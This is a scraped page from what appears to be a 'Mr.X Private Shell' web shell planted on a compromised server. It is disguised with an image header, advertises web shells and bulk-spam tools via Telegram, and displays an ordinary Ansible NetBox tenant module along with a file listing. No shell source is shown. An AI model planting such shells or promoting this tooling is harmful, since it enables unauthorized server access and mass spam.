����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
# -*- coding: utf-8 -*-
# Copyright: (c) 2019, Amy Liebowitz (@amylieb)
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)

from __future__ import absolute_import, division, print_function

__metaclass__ = type

DOCUMENTATION = r"""
---
module: netbox_tenant
short_description: Creates or removes tenants from NetBox
description:
  - Creates or removes tenants from NetBox
notes:
  - Tags should be defined as a YAML list
  - This should be ran with connection C(local) and hosts C(localhost)
author:
  - Amy Liebowitz (@amylieb)
requirements:
  - pynetbox
version_added: "0.1.0"
extends_documentation_fragment:
  - netbox.netbox.common
options:
  data:
    type: dict
    description:
      - Defines the tenant configuration
    suboptions:
      name:
        description:
          - Name of the tenant to be created
        required: true
        type: str
      tenant_group:
        description:
          - Tenant group this tenant should be in
        required: false
        type: raw
      description:
        description:
          - The description of the tenant
        required: false
        type: str
      comments:
        description:
          - Comments for the tenant. This can be markdown syntax
        required: false
        type: str
      slug:
        description:
          - URL-friendly unique shorthand
        required: false
        type: str
      tags:
        description:
          - Any tags that the tenant may need to be associated with
        required: false
        type: list
        elements: raw
      custom_fields:
        description:
          - must exist in NetBox
        required: false
        type: dict
    required: true
"""

EXAMPLES = r"""
- name: "Test NetBox module"
  connection: local
  hosts: localhost
  gather_facts: False
  tasks:
    - name: Create tenant within NetBox with only required information
      netbox_tenant:
        netbox_url: http://netbox.local
        netbox_token: thisIsMyToken
        data:
          name: Tenant ABC
        state: present

    - name: Delete tenant within netbox
      netbox_tenant:
        netbox_url: http://netbox.local
        netbox_token: thisIsMyToken
        data:
          name: Tenant ABC
        state: absent

    - name: Create tenant with all parameters
      netbox_tenant:
        netbox_url: http://netbox.local
        netbox_token: thisIsMyToken
        data:
          name: Tenant ABC
          tenant_group: Very Special Tenants
          description: ABC Incorporated
          comments: '### This tenant is super cool'
          slug: tenant_abc
          tags:
            - tagA
            - tagB
            - tagC
        state: present
"""

RETURN = r"""
tenant:
  description: Serialized object as created or already existent within NetBox
  returned: on creation
  type: dict
msg:
  description: Message indicating failure or info about what has been achieved
  returned: always
  type: str
"""

from ansible_collections.netbox.netbox.plugins.module_utils.netbox_utils import (
    NetboxAnsibleModule,
    NETBOX_ARG_SPEC,
)
from ansible_collections.netbox.netbox.plugins.module_utils.netbox_tenancy import (
    NetboxTenancyModule,
    NB_TENANTS,
)
from copy import deepcopy


def main():
    """
    Main entry point for module execution
    """
    argument_spec = deepcopy(NETBOX_ARG_SPEC)
    argument_spec.update(
        dict(
            data=dict(
                type="dict",
                required=True,
                options=dict(
                    name=dict(required=True, type="str"),
                    tenant_group=dict(required=False, type="raw"),
                    description=dict(required=False, type="str"),
                    comments=dict(required=False, type="str"),
                    slug=dict(required=False, type="str"),
                    tags=dict(required=False, type="list", elements="raw"),
                    custom_fields=dict(required=False, type="dict"),
                ),
            ),
        )
    )

    required_if = [("state", "present", ["name"]), ("state", "absent", ["name"])]

    module = NetboxAnsibleModule(
        argument_spec=argument_spec, supports_check_mode=True, required_if=required_if
    )

    netbox_tenant = NetboxTenancyModule(module, NB_TENANTS)
    netbox_tenant.run()


if __name__ == "__main__":  # pragma: no cover
    main()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 0 B 0644
netbox_aggregate.py File 4.68 KB 0644
netbox_asn.py File 3.63 KB 0644
netbox_cable.py File 10.06 KB 0644
netbox_circuit.py File 5.27 KB 0644
netbox_circuit_termination.py File 5.39 KB 0644
netbox_circuit_type.py File 3.59 KB 0644
netbox_cluster.py File 5.03 KB 0644
netbox_cluster_group.py File 3.63 KB 0644
netbox_cluster_type.py File 3.8 KB 0644
netbox_config_context.py File 7.19 KB 0644
netbox_console_port.py File 6.3 KB 0644
netbox_console_port_template.py File 4.68 KB 0644
netbox_console_server_port.py File 6.29 KB 0644
netbox_console_server_port_template.py File 4.83 KB 0644
netbox_contact.py File 5.04 KB 0644
netbox_contact_group.py File 3.88 KB 0644
netbox_contact_role.py File 3.7 KB 0644
netbox_custom_field.py File 8 KB 0644
netbox_custom_link.py File 5.12 KB 0644
netbox_device.py File 9.79 KB 0644
netbox_device_bay.py File 4.36 KB 0644
netbox_device_bay_template.py File 3.29 KB 0644
netbox_device_interface.py File 10.65 KB 0644
netbox_device_interface_template.py File 4.4 KB 0644
netbox_device_role.py File 4.13 KB 0644
netbox_device_type.py File 7.37 KB 0644
netbox_export_template.py File 4.81 KB 0644
netbox_fhrp_group.py File 4.53 KB 0644
netbox_fhrp_group_assignment.py File 3.75 KB 0644
netbox_front_port.py File 5.69 KB 0644
netbox_front_port_template.py File 5.82 KB 0644
netbox_inventory_item.py File 6 KB 0644
netbox_inventory_item_role.py File 4.03 KB 0644
netbox_ip_address.py File 11.1 KB 0644
netbox_ipam_role.py File 3.86 KB 0644
netbox_journal_entry.py File 4.43 KB 0644
netbox_l2vpn.py File 5.18 KB 0644
netbox_l2vpn_termination.py File 4.16 KB 0644
netbox_location.py File 4.69 KB 0644
netbox_manufacturer.py File 3.77 KB 0644
netbox_module_type.py File 5.02 KB 0644
netbox_platform.py File 4.72 KB 0644
netbox_power_feed.py File 6.5 KB 0644
netbox_power_outlet.py File 8.19 KB 0644
netbox_power_outlet_template.py File 7.97 KB 0644
netbox_power_panel.py File 5.25 KB 0644
netbox_power_port.py File 8.12 KB 0644
netbox_power_port_template.py File 7.82 KB 0644
netbox_prefix.py File 8.37 KB 0644
netbox_provider.py File 4.98 KB 0644
netbox_provider_network.py File 4.61 KB 0644
netbox_rack.py File 9.88 KB 0644
netbox_rack_group.py File 3.37 KB 0644
netbox_rack_role.py File 3.75 KB 0644
netbox_rear_port.py File 5.31 KB 0644
netbox_rear_port_template.py File 5.29 KB 0644
netbox_region.py File 3.93 KB 0644
netbox_rir.py File 4.08 KB 0644
netbox_route_target.py File 4.39 KB 0644
netbox_service.py File 5.24 KB 0644
netbox_service_template.py File 4.82 KB 0644
netbox_site.py File 7.2 KB 0644
netbox_site_group.py File 4.27 KB 0644
netbox_tag.py File 3.4 KB 0644
netbox_tenant.py File 4.3 KB 0644
netbox_tenant_group.py File 3.85 KB 0644
netbox_virtual_chassis.py File 4.35 KB 0644
netbox_virtual_machine.py File 6.98 KB 0644
netbox_vlan.py File 5.19 KB 0644
netbox_vlan_group.py File 6.18 KB 0644
netbox_vm_interface.py File 6.8 KB 0644
netbox_vrf.py File 5.14 KB 0644
netbox_webhook.py File 6.5 KB 0644
netbox_wireless_lan.py File 5.54 KB 0644
netbox_wireless_lan_group.py File 4.23 KB 0644
netbox_wireless_link.py File 6.33 KB 0644